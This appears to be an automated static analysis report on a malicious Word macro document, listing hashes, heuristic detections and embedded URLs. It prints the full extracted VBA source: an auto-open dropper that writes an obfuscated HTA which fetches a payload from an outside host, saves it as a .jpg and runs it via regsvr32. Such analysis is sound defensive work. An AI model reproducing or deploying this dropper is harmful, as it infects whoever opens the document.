Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 54de5f6baa9b07c7…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-03-24 05:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 8568f31882240a6f51807e03ac71022e SHA-1: e1fe058490c0f768ad24708f3a0914967799fafe SHA-256: 54de5f6baa9b07c7e3c46f4d826060a7a3360dd4a9e2b2f4a21ad14427cf770e
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set removeGenericConst = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set removeGenericConst = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5116 bytes
SHA-256: add0bf160e513f525b6ef338cb458b443c71241ad4371efb06613719a39e62d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{4F5A20D1-0F5B-4E44-AE1A-229FB18F2443}{E46380BC-B0DC-4B62-B60A-0B58A5C987DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set removeGenericConst = CreateObject("wscript.shell")
removeGenericConst.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "procedureTemp"
Sub autoopen()
iteratorMemCaption
End Sub
Sub iteratorMemCaption()
Dim trustClassSelect As String
trustClassSelect = frm.cmdButton1.caption
removeStructTrust trustClassSelect
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "AList"
Function exceptionCopyRight()
exceptionCopyRight = "<div id='content'>dmFyIGxpc3Rib3hDb3VudCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJtc3htbDIueG1saHR0cCIpO2xpc3Rib3hDb3VudC5vcGVuKCJHRVQiLCAiaHR0cDovL2xlbmQtaGFtbW9uZDIwMTIuY29tL2ZkdmRkL2xxM085R0p6UndsWnJ2RHJtTE9MQlJBaENUY1JudG1QbEdoM3c2R1FrUk00LzUyMzE0L2pic0cvWWYxcTRERU"
End Function
Function swapRepoRepo()
swapRepoRepo = "Z0OWVpbkZMVHZ2R3o1d1ovNDhaWlo1cmZCampQTU5mclFaaWxFUzRjeFVGaG00RmdzUGJvRThOb2svcmlPYmpVQ0ZiMFJCTVgwN2x6Mk56Y29KR0k0d28vNTE2NzYveGFyMTQ/Y2lkPXYybDhwVEtKd2VKWlhoOVJqSmtQRlAmcmVmPWlUcWhrc3VkRWF2d3VSdE96VFFiJnpjPVA5WVJWeDYzSmRHejY4aDgiLCBmYWxzZSk7bGlzdGJveENvdW"
End Function
Function classSizeProcedure()
classSizeProcedure = "50LnNlbmQoKTtpZihsaXN0Ym94Q291bnQuc3RhdHVzID09IDIwMCl7dmFyIHRhYmxlVGl0bGVEb2N1bWVudCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTt0YWJsZVRpdGxlRG9jdW1lbnQub3Blbjt0YWJsZVRpdGxlRG9jdW1lbnQudHlwZSA9IDE7dGFibGVUaXRsZURvY3VtZW50LndyaXRlKGxpc3Rib3hDb3VudC5yZX"
End Function
Function vbLeft()
vbLeft = "Nwb25zZWJvZHkpO3RhYmxlVGl0bGVEb2N1bWVudC5zYXZldG9maWxlKCJjOlxcdXNlcnNcXHB1YmxpY1xcdmJNZW1vcnlMZW4uanBnIiwgMik7dGFibGVUaXRsZURvY3VtZW50LmNsb3NlO30=|fXspdHN1clRldWxhVnR4ZW4oaGN0YWN9OykiYXRoLm5pYW1cXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLmVzYWJhdGFEbGFib2xne"
End Function
Function loadMemoryArgument()
loadMemoryArgument = "3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGVzYWJhdGFEbGFib2xnIHJhdjspImdwai5uZUx5cm9tZU1idlxcY2lsYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu</div><div id='table'>0123456789+/</div><scri"
End Function
Function bufNamespace()
bufNamespace = "pt language='javascript'>referenceCollection = window;valueSelect = document;function listTitleStorage(databaseCounterTitle){return(new ActiveXObject(databaseCounterTitle));}function table(){var leftStorageStruct = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var ACollect"
End Function
Function nextIndexBuffer()
nextIndexBuffer = "ion = leftStorageStruct + leftStorageStruct.toLowerCase() + valueSelect.getElementById('table').innerHTML;return(ACollection);}function repoArgumentA(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var iteratorWindowRepo=''; var w=String.fromCha"
End Function
Function swapVb()
swapVb = "rCode; var L=s.length;var nextTable = 'charAt';for(i=0;i<64;i++){e[table()[nextTable](i)]=i;}for(x=0;x<L;x++){c=e[s[nextTable](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(iteratorWindowRepo+=w(a));}}return(iteratorWindowRepo);};fun"
End Function
Function ExVb()
ExVb = "ction globalBuffer(titleWindowLeft){return titleWindowLeft.split('').reverse().join('');}referenceCollection.resizeTo(1, 1);referenceCollection.moveTo(-100, -100);var exceptionProcedure = valueSelect.getElementById('content').innerHTML;var exceptionProcedu"
End Function
Function repoValue()
repoValue = "re = exceptionProcedure.split('|');var funcOption = globalBuffer(repoArgumentA(exceptionProcedure[0]));var funcOption = globalBuffer(funcOption);var constExceptionBuf = globalBuffer(repoArgumentA(exceptionProcedure[1]));</script><script language='javascrip"
End Function
Function refListList()
refListList = "t'>function tempDatabase(funcGlobalArgument){var namespaceResponse = listTitleStorage('msscriptcontrol.scriptcontrol');namespaceResponse.Language = 'jscript';namespaceResponse.Timeout = 60000;namespaceResponse.AddCode(funcGlobalArgument);return(null);}</sc"
End Function
Function pasteMemoryRef()
pasteMemoryRef = "ript><script language='vbscript'>tempDatabase funcOption : tempDatabase constExceptionBuf : referenceCollection.close</script>"
End Function
Function leftDatabaseCopy()
leftDatabaseCopy = exceptionCopyRight + swapRepoRepo + classSizeProcedure + vbLeft + loadMemoryArgument + bufNamespace + nextIndexBuffer + swapVb + ExVb + repoValue + refListList + pasteMemoryRef
End Function

Attribute VB_Name = "WEx"
Sub removeStructTrust(listTitle As String)
Open listTitle For Output As #1
Print #1, leftDatabaseCopy
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: c4c8e32ebeadc8829ff4f16c6c4169b0bd83c495dee01d9615deae05f398e6a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).

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